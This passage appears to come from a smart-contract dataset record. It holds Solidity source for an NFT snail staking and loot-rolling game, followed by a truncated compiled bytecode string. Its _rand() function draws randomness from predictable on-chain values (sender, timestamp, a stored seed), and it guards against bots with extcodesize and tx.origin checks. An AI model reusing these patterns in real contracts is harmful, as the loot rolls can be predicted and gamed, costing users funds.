}
for (uint256 i = 1; i <= _mintAmount; i++) {
_mintSnail(msg.sender);
}
}
function mintWhitelist(
address account,
uint256 tokenId,
bytes32[] calldata proof
) public payable noCheaters {
require(block.timestamp > whitelistMintStartTime, "mint locked");
if (msg.sender != owner() && tokenId > 113) {
require(msg.value >= cost, "no funds");
}
require(_verify(_leaf(account, tokenId), proof), "Invalid proof");
require(snailsMinted[account] == 0, "already minted");
snailsMinted[account]++;
_mintSnail(account);
}
/////////////////////////////////////////////////////////////
// STAKING
/////////////////////////////////////////////////////////////
function claimableLeaf(uint256 id) public view returns (uint256 _claimable) {
Activity memory currentActivity = snailActivities[id];
uint256 diff = uint48(block.timestamp) - snailActivities[id].since;
if (currentActivity.state == ActivityState.UNSTAKED) {
_claimable = 0;
return _claimable;
}
_claimable = ((diff * (leafModifier(id)) * 1 ether)) / 1 days;
return _claimable;
}
function greenhouseSnails(uint256[] calldata ids) public noCheaters {
require(block.timestamp > startTime, "not started");
require(!gamePaused, "game paused");
for (uint256 index = 0; index < ids.length; index++) {
_greenhouse(ids[index]);
}
}
function _greenhouse(uint256 id) private {
Activity memory currentActivity = snailActivities[id];
require(currentActivity.state != ActivityState.GREENHOUSE, "already staked");
require(msg.sender == ownerOf(id), "not yours");
_transfer(msg.sender, address(this), id);
snailActivities[id] = Activity({
state: ActivityState.GREENHOUSE,
since: uint48(block.timestamp),
user: msg.sender,
lastRoll: currentActivity.lastRoll
});
}
function returnSnails(uint256[] calldata ids) public noCheaters {
for (uint256 index = 0; index < ids.length; index++) {
_returnSnail(ids[index]);
}
}
function _returnSnail(uint256 id) private {
Activity memory currentActivity = snailActivities[id];
require(currentActivity.state != ActivityState.UNSTAKED, "already unstaked");
require(msg.sender == snailActivities[id].user);
_transfer(address(this), msg.sender, id);
_withdrawLeaf(id);
snailActivities[id] = Activity({
state: ActivityState.UNSTAKED,
since: uint48(block.timestamp),
user: msg.sender,
lastRoll: currentActivity.lastRoll
});
}
function withdrawLeaf(uint256[] calldata ids) public noCheaters {
for (uint256 index = 0; index < ids.length; index++) {
_withdrawLeaf(ids[index]);
}
}
function _withdrawLeaf(uint256 id) private {
Activity memory currentActivity = snailActivities[id];
if (currentActivity.state == ActivityState.UNSTAKED) {
require(msg.sender == ownerOf(id));
} else if (currentActivity.state == ActivityState.GREENHOUSE) {
require(msg.sender == currentActivity.user);
}
uint256 claimable = claimableLeaf(id);
if (claimable == 0) return;
leaf.mint(msg.sender, claimableLeaf(id));
snailActivities[id].since = uint48(block.timestamp);
}
function leafModifier(uint256 id) public view returns (uint256 mod) {
Snail memory snail = snails[id];
// Check to see if this is a 1 of 1
if (_getTier(snail.body) >= 6) return 60;
mod = 5;
uint256 a_t = _getTier(snail.accessory);
if (a_t == 7) mod += 25;
else if (a_t >= 2) mod += a_t;
mod += _getTier(snail.background);
mod += _getTier(snail.body);
mod += _getTier(snail.shell);
mod += _getTier(snail.trail);
return mod;
}
function stakedSnailsCount(address _owner) public view returns (uint256) {
uint256 numIds = 0;
Activity memory activity;
for (uint256 i = 1; i <= _tokenIdCounter.current(); i++) {
activity = snailActivities[i];
if (activity.user == _owner && activity.state == ActivityState.GREENHOUSE) numIds++;
}
return numIds;
}
function stakedSnailByIndex(address _owner, uint256 index) public view returns (uint256) {
uint256 numIds = 0;
Activity memory activity;
for (uint256 i = 1; i <= _tokenIdCounter.current(); i++) {
activity = snailActivities[i];
if (activity.user == _owner && activity.state == ActivityState.GREENHOUSE) {
if (numIds == index) return i;
numIds++;
}
}
return 0;
}
/////////////////////////////////////////////////////////////
// LOOTING
/////////////////////////////////////////////////////////////
function lootForSnail(
uint256 id,
uint8 rollTier,
bool rollAccessory,
bool rollBackground,
bool rollBody,
bool rollShell,
bool rollTrail
) public noCheaters {
Activity memory currentActivity = snailActivities[id];
if (currentActivity.state == ActivityState.UNSTAKED) {
require(msg.sender == ownerOf(id));
} else if (currentActivity.state == ActivityState.GREENHOUSE) {
require(msg.sender == currentActivity.user);
}
Snail memory snail = snails[id];
require(!gamePaused, "game paused");
require(rollAccessory || rollBackground || rollBody || rollShell || rollTrail, "roll >0 parts");
require(canLoot(id, rollTier), "cooldown");
require(rollTier > 0 && rollTier <= 6, "invalid tier");
require(tierUnlocked(rollTier), "tier locked");
require(_getTier(snail.body) < 6, "can't roll a unique");
snailActivities[id].lastRoll = uint40(block.timestamp);
// Withdraw current rewards to avoid multiplying
_withdrawLeaf(id);
leaf.burnFrom(msg.sender, _costToRoll(rollTier, rollAccessory, rollBackground, rollBody, rollShell, rollTrail));
uint8 newItem;
if (rollAccessory) {
newItem = _rollPart(id, rollTier, Part.ACCESSORY);
if (_getTier(newItem) == 6) {
_setUnique(id);
return;
}
}
if (rollBackground) {
newItem = _rollPart(id, rollTier, Part.BACKGROUND);
if (_getTier(newItem) == 6) {
_setUnique(id);
return;
}
}
if (rollBody) {
newItem = _rollPart(id, rollTier, Part.BODY);
if (_getTier(newItem) == 6) {
_setUnique(id);
return;
}
}
if (rollShell) {
newItem = _rollPart(id, rollTier, Part.SHELL);
if (_getTier(newItem) == 6) {
_setUnique(id);
return;
}
}
if (rollTrail) {
newItem = _rollPart(id, rollTier, Part.TRAIL);
if (_getTier(newItem) == 6) {
_setUnique(id);
return;
}
}
_checkFullSet(id);
}
function canLoot(uint256 id, uint8 rollTier) public view returns (bool) {
Activity memory currentActivity = snailActivities[id];
return block.timestamp - currentActivity.lastRoll > uint40(_cooldownForTier(rollTier));
}
function _costToRoll(
uint8 rollTier,
bool rollAccessory,
bool rollBackground,
bool rollBody,
bool rollShell,
bool rollTrail
) internal view returns (uint256) {
uint8 numberOfTraits = 0;
if (rollAccessory) numberOfTraits++;
if (rollBackground) numberOfTraits++;
if (rollBody) numberOfTraits++;
if (rollShell) numberOfTraits++;
if (rollTrail) numberOfTraits++;
return uint256(pools[rollTier].cost) * uint256(numberOfTraits) * 1 ether;
}
function _rollPart(
uint256 id,
uint8 rollTier,
Part part
) internal returns (uint8) {
uint256 seed = _rand();
uint256 rand = _randomiseFromSeed(seed, uint256(part), id);
LootPool memory lootPool = pools[rollTier];
require(lootPool.total > 0, "pool empty");
(uint8 newItem, LootPool memory newLootPool) = _getItem(rand, lootPool);
Snail memory snail = snails[id];
if (part == Part.ACCESSORY) snail.accessory = newItem;
else if (part == Part.BACKGROUND) snail.background = newItem;
else if (part == Part.BODY) {
snail.body = newItem;
if (newItem < 31) {
uint8 eyeIdx = uint8(_randomiseFromSeed(seed, "eyes", 0) % 3);
uint8 mouthIdx = uint8((_randomiseFromSeed(seed, "eyes", 0) % 3) + 3);
snail.eyes = bodyToEyesMouth[newItem][eyeIdx];
snail.mouth = bodyToEyesMouth[newItem][mouthIdx];
}
} else if (part == Part.SHELL) snail.shell = newItem;
else if (part == Part.TRAIL) snail.trail = newItem;
snails[id] = snail;
if (rollTier >= 2) pools[rollTier] = newLootPool;
return newItem;
}
function _getItem(uint256 rand, LootPool memory lootPool) internal pure returns (uint8, LootPool memory) {
uint256 roll = rand % lootPool.total;
lootPool.total--;
uint8 item;
if (roll >= lootPool.tier1 + lootPool.tier2 + lootPool.tier3 && lootPool.tier4 > 0) {
item = uint8(((roll % partsPerTier) + 1) + (lootPool.minTier + 3) * partsPerTier);
lootPool.tier4--;
} else if (roll >= lootPool.tier1 + lootPool.tier2 && lootPool.tier3 > 0) {
item = uint8(((roll % partsPerTier) + 1) + (lootPool.minTier + 2) * partsPerTier);
lootPool.tier3--;
} else if (roll >= lootPool.tier1 && lootPool.tier2 > 0) {
item = uint8(((roll % partsPerTier) + 1) + (lootPool.minTier + 1) * partsPerTier);
lootPool.tier2--;
} else if (lootPool.tier1 >= 0) {
item = uint8(((roll % partsPerTier) + 1) + (lootPool.minTier) * partsPerTier);
lootPool.tier1--;
}
return (item, lootPool);
}
function _setUnique(uint256 id) internal {
uint8 newItem = uint8(pools[6].tier2) + 1 + 30;
Snail memory snail = snails[id];
snail.accessory = newItem;
snail.background = newItem;
snail.body = newItem;
snail.shell = newItem;
snail.trail = newItem;
snails[id] = snail;
}
function _checkFullSet(uint256 id) internal {
Looting.checkFullSet(snails[id], setClaimed);
}
function _getTier(uint256 partId) internal pure returns (uint8) {
if (partId == 0) return 0;
return uint8((partId - 1) / partsPerTier);
}
function _cooldownForTier(uint8 _tier) internal view returns (uint256) {
if (!cooldownEnabled) return 0;
return 8 hours;
}
function tierUnlocked(uint8 tier) public view returns (bool) {
if (tier == 0) return true;
return block.timestamp > (startTime + 1 * uint88(tier - 1) * 27 hours);
}
/////////////////////////////////////////////////////////////
// TOKEN FUNCTIONALITY
/////////////////////////////////////////////////////////////
function tokenURI(uint256 id) public view override returns (string memory) {
Snail memory snail = snails[id];
Activity memory activity = snailActivities[id];
uint8 modifier_ = uint8(leafModifier(id));
return
inventoryManager.getTokenURI(
uint16(id),
snail.background,
snail.trail,
snail.body,
snail.shell,
snail.eyes,
snail.mouth,
snail.accessory,
activity.state == ActivityState.GREENHOUSE,
modifier_
);
}
/////////////////////////////////////////////////////////////
// INTERNAL HELPERS
/////////////////////////////////////////////////////////////
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance), "could not withdraw");
}
function mintLeaf(address _to, uint256 _amount) public onlyOwner {
leaf.mint(_to, _amount);
}
function _mintSnail(address _to) internal {
_tokenIdCounter.increment();
uint256 id = _tokenIdCounter.current();
(uint8 accessory, uint8 background, uint8 body, uint8 eyes, uint8 mouth, uint8 shell, uint8 trail) = (1, 1, 0, 0, 0, 0, 0);
uint8 numOptions = 3;
uint256 seed = _rand();
LootPool memory pool = pools[0];
(body, pool) = _getItem(_randomiseFromSeed(seed, "body", id), pool);
(shell, pool) = _getItem(_randomiseFromSeed(seed, "shell", id), pool);
(trail, pool) = _getItem(_randomiseFromSeed(seed, "trail", id), pool);
eyes = bodyToEyesMouth[body][(_randomiseFromSeed(seed, "eyes", id) % numOptions)];
mouth = bodyToEyesMouth[body][(_randomiseFromSeed(seed, "mouth", id) % numOptions) + 3];
_mint(_to, id);
snails[id] = Snail({
accessory: accessory,
background: background,
body: body,
eyes: eyes,
mouth: mouth,
shell: shell,
trail: trail
});
snailActivities[id] = Activity({user: _to, since: uint48(block.timestamp), state: ActivityState.UNSTAKED, lastRoll: 0});
}
function _randomiseFromSeed(
uint256 _seed,
uint256 part,
uint256 _additional
) internal pure returns (uint256) {
return uint256(keccak256(abi.encode(_seed, part, _additional)));
}
function _randomiseFromSeed(
uint256 _seed,
string memory part,
uint256 _additional
) internal pure returns (uint256) {
return uint256(keccak256(abi.encode(_seed, part, _additional)));
}
function _rand() internal view returns (uint256) {
uint256 ret = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, entropy)));
return ret;
}
modifier noCheaters() {
// We thank EtherOrcs for the idea of this function.
uint256 size = 0;
address acc = msg.sender;
assembly {
size := extcodesize(acc)
}
require(msg.sender == tx.origin, "cheater");
require(size == 0, "cheater");
_;
entropy = uint256(keccak256(abi.encodePacked(acc, block.coinbase)));
}
/////////////////////////////////////////////////////////////
// ADMINISTRATIVE
/////////////////////////////////////////////////////////////
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function setWhitelistMintStartTime(uint88 _time) public onlyOwner {
whitelistMintStartTime = _time;
}
function setPublicMintStartTime(uint88 _time) public onlyOwner {
publicMintStartTime = _time;
}
function setStartTime(uint88 _time) public onlyOwner {
startTime = _time;
}
function setCooldownEnabled(bool _enabled) public onlyOwner {
cooldownEnabled = _enabled;
}
function setGamePaused(bool _paused) public onlyOwner {
gamePaused = _paused;
}
function safeMint(address _to, uint256 _tokenId) public onlyOwner {
_safeMint(_to, _tokenId);
}
function adminSetSnail(
uint256 id,
uint8 accessory,
uint8 background,
uint8 body,
uint8 eyes,
uint8 mouth,
uint8 shell,
uint8 trail
) public onlyOwner {
Snail memory snail = snails[id];
snail.accessory = accessory;
snail.background = background;
snail.body = body;
snail.eyes = eyes;
snail.mouth = mouth;
snail.shell = shell;
snail.trail = trail;
snails[id] = snail;
_checkFullSet(id);
}
function _leaf(address account, uint256 tokenId) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(tokenId, account));
}
function _verify(bytes32 _leafNode, bytes32[] memory proof) internal view returns (bool) {
return MerkleProofUpgradeable.verify(proof, merkleRoot, _leafNode);
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
merkleRoot = _merkleRoot;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721Upgradeable, ERC721EnumerableUpgradeable) whenNotPaused {
super._beforeTokenTransfer(from, to, tokenId);
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721Upgradeable, ERC721EnumerableUpgradeable) returns (bool) {
return super.supportsInterface(interfaceId);
}
} | 0x60806040526004361061029c5760003560e01c806301ffc9a7146102a157806306fdde03146102d6578063081812fc146102f8578063095ea7b31461032557806309647dfe146103475780630d0cdee01461036757806313faede61461038757806318160ddd146103b0578063239c70ae146103c557806323b872dd146103da5780632551cd34146103fa5780632bb1a91a1461041a5780632cc76cec146104595780632eb4a7ab146104795780632f745c59146104905780633a577ec9146104b05780633ccfd60b146104d05780633f4ba83a146104d8578063421f3d2d146104ed57806342842e0e1461050d5780634c8c32461461052d5780634f6ccce71461054d5780635932ead11461056d5780635bca47d51461058d5780635c975abb146105ad57806360ef50b9146105c55780636352211e146105d8578063668e780f146105f85780636cad4e5a1461062957806370a0823114610649578063715018a614610669578063719eb7c71461067e57806378e979251461069e5780637cb64759146106bf5780638129fc1c146106df5780638456cb59146106f457806386b75b44146107095780638da5cb5b1461072957806390494fb71461073e57806391d1ea4d1461075e57806395d89b411461077f578063972a4b4814610794578063a0712d68146107b4578063a1448194146107c7578063a22cb465146107e7578063ae40468114610807578063b02e893f14610877578063b54710c214610897578063b5c14adb14610946578063b7911ae614610966578063b88d4fde14610986578063c87b56dd146109a6578063d3cf00a3146109c6578063d5abeb01146109ee578063de230b9c14610a04578063e985e9c514610a24578063f158783a14610a44578063f2fde38b14610a64578063fb87a63514610a84575b600080fd5b3480156102ad57600080fd5b506102c16102bc3660046156f1565b610b3b565b60405190151581526020015b60405180910390f35b3480156102e257600080fd5b506102eb610b4c565b6040516102cd9190615a10565b34801561030457600080fd5b506103186103133660046156d9565b610bde565b6040516102cd9190615950565b34801561033157600080fd5b50610345610340366004615600565b610c6b565b005b34801561035357600080fd5b506103456103623660046154ae565b610d7c565b34801561037357600080fd5b506103456103823660046157b4565b610dce565b34801561039357600080fd5b506103a266b1a2bc2ec5000081565b6040519081526020016102cd565b3480156103bc57600080fd5b506099546103a2565b3480156103d157600080fd5b506103a2600181565b3480156103e657600080fd5b506103456103f53660046154fa565b611372565b34801561040657600080fd5b506103a26104153660046154ae565b6113a3565b34801561042657600080fd5b5061012e54610441906201000090046001600160581b031681565b6040516001600160581b0390911681526020016102cd565b34801561046557600080fd5b506103a2610474366004615600565b6114c9565b34801561048557600080fd5b506103a26101305481565b34801561049c57600080fd5b506103a26104ab366004615600565b611604565b3480156104bc57600080fd5b506102c16104cb3660046158c1565b61169a565b6103456116fa565b3480156104e457600080fd5b50610345611787565b3480156104f957600080fd5b50610345610508366004615680565b6117be565b34801561051957600080fd5b506103456105283660046154fa565b6118f3565b34801561053957600080fd5b50610345610548366004615680565b61190e565b34801561055957600080fd5b506103a26105683660046156d9565b61199b565b34801561057957600080fd5b506103456105883660046156bf565b611a3c565b34801561059957600080fd5b506103456105a8366004615600565b611a7f565b3480156105b957600080fd5b5060c95460ff166102c1565b6103456105d3366004615629565b611b17565b3480156105e457600080fd5b506103186105f33660046156d9565b611d22565b34801561060457600080fd5b506102c16106133660046158c1565b6101386020526000908152604090205460ff1681565b34801561063557600080fd5b506103456106443660046154ae565b611d99565b34801561065557600080fd5b506103a26106643660046154ae565b611deb565b34801561067557600080fd5b50610345611e72565b34801561068a57600080fd5b506103456106993660046158db565b611eab565b3480156106aa57600080fd5b5061012f54610441906001600160581b031681565b3480156106cb57600080fd5b506103456106da3660046156d9565b611f05565b3480156106eb57600080fd5b50610345611f3a565b34801561070057600080fd5b506103456120b0565b34801561071557600080fd5b506103456107243660046158db565b6120e7565b34801561073557600080fd5b50610318612143565b34801561074a57600080fd5b506103a26107593660046156d9565b612152565b34801561076a57600080fd5b5061013254610318906001600160a01b031681565b34801561078b57600080fd5b506102eb61229b565b3480156107a057600080fd5b506103a26107af3660046156d9565b6122aa565b6103456107c23660046156d9565b612402565b3480156107d357600080fd5b506103456107e2366004615600565b6125fe565b3480156107f357600080fd5b506103456108023660046155d7565b61263b565b34801561081357600080fd5b506108676108223660046156d9565b6101366020526000908152604090205460ff81169061010081046001600160a01b031690600160a81b810465ffffffffffff1690600160d81b900464ffffffffff1684565b6040516102cd94939291906159ba565b34801561088357600080fd5b506102c1610892366004615792565b6126fc565b3480156108a357600080fd5b506109036108b23660046156d9565b6101356020526000908152604090205460ff80821691610100810482169162010000820481169163010000008104821691600160201b8204811691600160281b8104821691600160301b9091041687565b6040805160ff9889168152968816602088015294871694860194909452918516606085015284166080840152831660a083015290911660c082015260e0016102cd565b34801561095257600080fd5b506103456109613660046156bf565b6127cf565b34801561097257600080fd5b50610345610981366004615680565b612819565b34801561099257600080fd5b506103456109a1366004615535565b6128a6565b3480156109b257600080fd5b506102eb6109c13660046156d9565b6128de565b3480156109d257600080fd5b5061012e5461044190600160681b90046001600160581b031681565b3480156109fa57600080fd5b506103a26115b381565b348015610a1057600080fd5b50610345610a1f3660046158db565b612b2e565b348015610a3057600080fd5b506102c1610a3f3660046154c8565b612b80565b348015610a5057600080fd5b50610345610a5f366004615832565b612bae565b348015610a7057600080fd5b50610345610a7f3660046154ae565b612e5c565b348015610a9057600080fd5b50610af4610a9f3660046158c1565b6101376020526000908152604090205461ffff8082169162010000810482169160ff600160201b83041691600160281b8104821691600160381b8204811691600160481b8104821691600160581b9091041687565b6040805161ffff9889168152968816602088015260ff90951694860194909452918516606085015284166080840152831660a08301529190911660c082015260e0016102cd565b6000610b4682612ef9565b92915050565b606060658054610b5b90615e12565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8790615e12565b8015610bd45780601f10610ba957610100808354040283529160200191610bd4565b820191906000526020600020905b815481529060010190602001808311610bb757829003601f168201915b5050505050905090565b6000610be982612f1e565b610c4f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152606960205260409020546001600160a01b031690565b6000610c7682611d22565b9050806001600160a01b0316836001600160a01b03161415610ce45760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610c46565b336001600160a01b0382161480610d005750610d008133612b80565b610d6d5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776044820152771b995c881b9bdc88185c1c1c9bdd995908199bdc88185b1b60421b6064820152608401610c46565b610d778383612f3b565b505050565b33610d85612143565b6001600160a01b031614610dab5760405162461bcd60e51b8152600401610c4690615b55565b61013380546001600160a01b0319166001600160a01b0392909216919091179055565b33803b90328114610df15760405162461bcd60e51b8152600401610c4690615b34565b8115610e0f5760405162461bcd60e51b8152600401610c4690615b34565b600089815261013660205260408082208151608081019092528054829060ff166001811115610e4e57634e487b7160e01b600052602160045260246000fd5b6001811115610e6d57634e487b7160e01b600052602160045260246000fd5b8152905461010081046001600160a01b03166020830152600160a81b810465ffffffffffff166040830152600160d81b900464ffffffffff166060909101529050600081516001811115610ed157634e487b7160e01b600052602160045260246000fd5b1415610f0257610ee08a611d22565b6001600160a01b0316336001600160a01b031614610efd57600080fd5b610f4d565b600181516001811115610f2557634e487b7160e01b600052602160045260246000fd5b1415610f4d5780602001516001600160a01b0316336001600160a01b031614610f4d57600080fd5b60008a81526101356020908152604091829020825160e081018452905460ff80821683526101008083048216948401949094526201000082048116948301949094526301000000810484166060830152600160201b810484166080830152600160281b8104841660a0830152600160301b9004831660c082015261012e5490929190041615610fee5760405162461bcd60e51b8152600401610c4690615bdb565b8880610ff75750875b80610fff5750865b806110075750855b8061100f5750845b61104b5760405162461bcd60e51b815260206004820152600d60248201526c726f6c6c203e3020706172747360981b6044820152606401610c46565b6110558b8b6126fc565b61108c5760405162461bcd60e51b815260206004820152600860248201526731b7b7b63237bbb760c11b6044820152606401610c46565b60008a60ff161180156110a3575060068a60ff1611155b6110de5760405162461bcd60e51b815260206004820152600c60248201526b34b73b30b634b2103a34b2b960a11b6044820152606401610c46565b6110e78a61169a565b6111215760405162461bcd60e51b815260206004820152600b60248201526a1d1a595c881b1bd8dad95960aa1b6044820152606401610c46565b6006611133826040015160ff16612fa9565b60ff16106111795760405162461bcd60e51b815260206004820152601360248201527263616e277420726f6c6c206120756e6971756560681b6044820152606401610c46565b60008b81526101366020526040902080546001600160d81b0316600160d81b4264ffffffffff16021790556111ad8b612fcf565b610132546001600160a01b03166379cc6790336111ce8d8d8d8d8d8d6131c2565b6040518363ffffffff1660e01b81526004016111eb9291906159a1565b600060405180830381600087803b15801561120557600080fd5b505af1158015611219573d6000803e3d6000fd5b505050506000891561125b576112318c8c600061326c565b905061123f8160ff16612fa9565b60ff166006141561125b576112538c6137dc565b505050611338565b881561128f5761126d8c8c600161326c565b905061127b8160ff16612fa9565b60ff166006141561128f576112538c6137dc565b87156112c3576112a18c8c600261326c565b90506112af8160ff16612fa9565b60ff16600614156112c3576112538c6137dc565b86156112f7576112d58c8c600561326c565b90506112e38160ff16612fa9565b60ff16600614156112f7576112538c6137dc565b851561132b576113098c8c600661326c565b90506113178160ff16612fa9565b60ff166006141561132b576112538c6137dc565b6113348c613924565b5050505b804160405160200161134b92919061592e565b60408051601f19818403018152919052805160209091012061013455505050505050505050565b61137c33826139a6565b6113985760405162461bcd60e51b8152600401610c4690615b8a565b610d77838383613a68565b6000806113ae61536d565b60015b61012d5481116114c05760008181526101366020526040908190208151608081019092528054829060ff1660018111156113fb57634e487b7160e01b600052602160045260246000fd5b600181111561141a57634e487b7160e01b600052602160045260246000fd5b8152905461010081046001600160a01b03908116602080850191909152600160a81b830465ffffffffffff166040850152600160d81b90920464ffffffffff16606090930192909252820151919350868116911614801561149b575060018251600181111561149957634e487b7160e01b600052602160045260246000fd5b145b156114ae57826114aa81615e4d565b9350505b806114b881615e4d565b9150506113b1565b50909392505050565b6000806114d461536d565b60015b61012d5481116115f85760008181526101366020526040908190208151608081019092528054829060ff16600181111561152157634e487b7160e01b600052602160045260246000fd5b600181111561154057634e487b7160e01b600052602160045260246000fd5b8152905461010081046001600160a01b03908116602080850191909152600160a81b830465ffffffffffff166040850152600160d81b90920464ffffffffff1660609093019290925282015191935087811691161480156115c157506001825160018111156115bf57634e487b7160e01b600052602160045260246000fd5b145b156115e657848314156115d8579250610b46915050565b826115e281615e4d565b9350505b806115f081615e4d565b9150506114d7565b50600095945050505050565b600061160f83611deb565b82106116715760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610c46565b506001600160a01b03919091166000908152609760209081526040808320938352929052205490565b600060ff82166116ac57506001919050565b6116b7600183615da5565b6116c59060ff166001615d38565b6116d29062017bb0615d38565b61012f546116e991906001600160581b0316615ce3565b6001600160581b0316421192915050565b33611703612143565b6001600160a01b0316146117295760405162461bcd60e51b8152600401610c4690615b55565b60405133904780156108fc02916000818181858888f193505050506117855760405162461bcd60e51b8152602060048201526012602482015271636f756c64206e6f7420776974686472617760701b6044820152606401610c46565b565b33611790612143565b6001600160a01b0316146117b65760405162461bcd60e51b8152600401610c4690615b55565b611785613c01565b33803b903281146117e15760405162461bcd60e51b8152600401610c4690615b34565b81156117ff5760405162461bcd60e51b8152600401610c4690615b34565b61012f546001600160581b031642116118485760405162461bcd60e51b815260206004820152600b60248201526a1b9bdd081cdd185c9d195960aa1b6044820152606401610c46565b61012e54610100900460ff16156118715760405162461bcd60e51b8152600401610c4690615bdb565b60005b838110156118bd576118ab85858381811061189f57634e487b7160e01b600052603260045260246000fd5b90506020020135613c8e565b806118b581615e4d565b915050611874565b5080416040516020016118d192919061592e565b60408051601f1981840301815291905280516020909101206101345550505050565b610d77838383604051806020016040528060008152506128a6565b33803b903281146119315760405162461bcd60e51b8152600401610c4690615b34565b811561194f5760405162461bcd60e51b8152600401610c4690615b34565b60005b838110156118bd5761198985858381811061197d57634e487b7160e01b600052603260045260246000fd5b90506020020135613ee3565b8061199381615e4d565b915050611952565b60006119a660995490565b8210611a095760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610c46565b60998281548110611a2a57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b33611a45612143565b6001600160a01b031614611a6b5760405162461bcd60e51b8152600401610c4690615b55565b61012e805460ff1916911515919091179055565b33611a88612143565b6001600160a01b031614611aae5760405162461bcd60e51b8152600401610c4690615b55565b610132546040516340c10f1960e01b81526001600160a01b03909116906340c10f1990611ae190859085906004016159a1565b600060405180830381600087803b158015611afb57600080fd5b505af1158015611b0f573d6000803e3d6000fd5b505050505050565b33803b90328114611b3a5760405162461bcd60e51b8152600401610c4690615b34565b8115611b585760405162461bcd60e51b8152600401610c4690615b34565b61012e546201000090046001600160581b03164211611b895760405162461bcd60e51b8152600401610c4690615a23565b611b91612143565b6001600160a01b0316336001600160a01b031614158015611bb25750607185115b15611bde5766b1a2bc2ec50000341015611bde5760405162461bcd60e51b8152600401610c4690615a9a565b611c24611beb8787614036565b85858080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061407f92505050565b611c605760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b210383937b7b360991b6044820152606401610c46565b6001600160a01b0386166000908152610131602052604090205415611cb85760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481b5a5b9d195960921b6044820152606401610c46565b6001600160a01b038616600090815261013160205260408120805491611cdd83615e4d565b9190505550611ceb86614096565b8041604051602001611cfe92919061592e565b60408051601f19818403018152919052805160209091012061013455505050505050565b6000818152606760205260408120546001600160a01b031680610b465760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610c46565b33611da2612143565b6001600160a01b031614611dc85760405162461bcd60e51b8152600401610c4690615b55565b61013280546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160a01b038216611e565760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610c46565b506001600160a01b031660009081526068602052604090205490565b33611e7b612143565b6001600160a01b031614611ea15760405162461bcd60e51b8152600401610c4690615b55565b6117856000614590565b33611eb4612143565b6001600160a01b031614611eda5760405162461bcd60e51b8152600401610c4690615b55565b61012e80546001600160581b03909216620100000262010000600160681b0319909216919091179055565b33611f0e612143565b6001600160a01b031614611f345760405162461bcd60e51b8152600401610c4690615b55565b61013055565b600054610100900460ff1680611f53575060005460ff16155b611f6f5760405162461bcd60e51b8152600401610c4690615ae6565b600054610100900460ff16158015611f91576000805461ffff19166101011790555b611fdc6040518060400160405280600981526020016845766f536e61696c7360b81b81525060405180604001604052806008815260200167115593d4d390525360c21b8152506145e2565b611fe4614669565b611fec6146ec565b611ff4614753565b61012e80546001600160c01b03191665617f9e800001630186011d606e1b0117905561012f805463618055506001600160581b031990911617905560405163091ce90360e21b81526101376004820152610139602482015273cbab1c973500112c389790a9f0c4c42071ffb4bb90632473a40c9060440160006040518083038186803b15801561208357600080fd5b505af4158015612097573d6000803e3d6000fd5b5050505080156120ad576000805461ff00191690555b50565b336120b9612143565b6001600160a01b0316146120df5760405162461bcd60e51b8152600401610c4690615b55565b6117856147ba565b336120f0612143565b6001600160a01b0316146121165760405162461bcd60e51b8152600401610c4690615b55565b61012e80546001600160581b03909216600160681b02600160681b600160c01b0319909216919091179055565b60fb546001600160a01b031690565b60008181526101366020526040808220815160808101909252805483929190829060ff16600181111561219557634e487b7160e01b600052602160045260246000fd5b60018111156121b457634e487b7160e01b600052602160045260246000fd5b8152905461010081046001600160a01b0316602080840191909152600160a81b80830465ffffffffffff908116604080870191909152600160d81b90940464ffffffffff1660609095019490945260008881526101369092529181205493945092612223929190041642615d7e565b65ffffffffffff16905060008251600181111561225057634e487b7160e01b600052602160045260246000fd5b1415612260575060009392505050565b6201518061226d856122aa565b6122779083615d19565b61228990670de0b6b3a7640000615d19565b6122939190615d05565b949350505050565b606060668054610b5b90615e12565b600081815261013560209081526040808320815160e081018352905460ff8082168352610100820481169483019490945262010000810484169282018390526301000000810484166060830152600160201b810484166080830152600160281b8104841660a0830152600160301b900490921660c083015260069061232e90612fa9565b60ff161061233f5750603c92915050565b6005915060006123558260c0015160ff16612fa9565b60ff16905080600714156123755761236e601984615ca6565b925061238a565b6002811061238a576123878184615ca6565b92505b81516123989060ff16612fa9565b6123a59060ff1684615ca6565b92506123b7826040015160ff16612fa9565b6123c49060ff1684615ca6565b92506123d6826060015160ff16612fa9565b6123e39060ff1684615ca6565b92506123f5826020015160ff16612fa9565b6122939060ff1684615ca6565b33803b903281146124255760405162461bcd60e51b8152600401610c4690615b34565b81156124435760405162461bcd60e51b8152600401610c4690615b34565b600061244e60995490565b61012e54909150600160681b90046001600160581b031642116124835760405162461bcd60e51b8152600401610c4690615a23565b600084116124c75760405162461bcd60e51b81526020600482015260116024820152700616d6f756e74206d757374206265203e3607c1b6044820152606401610c46565b600184111561250c5760405162461bcd60e51b815260206004820152601160248201527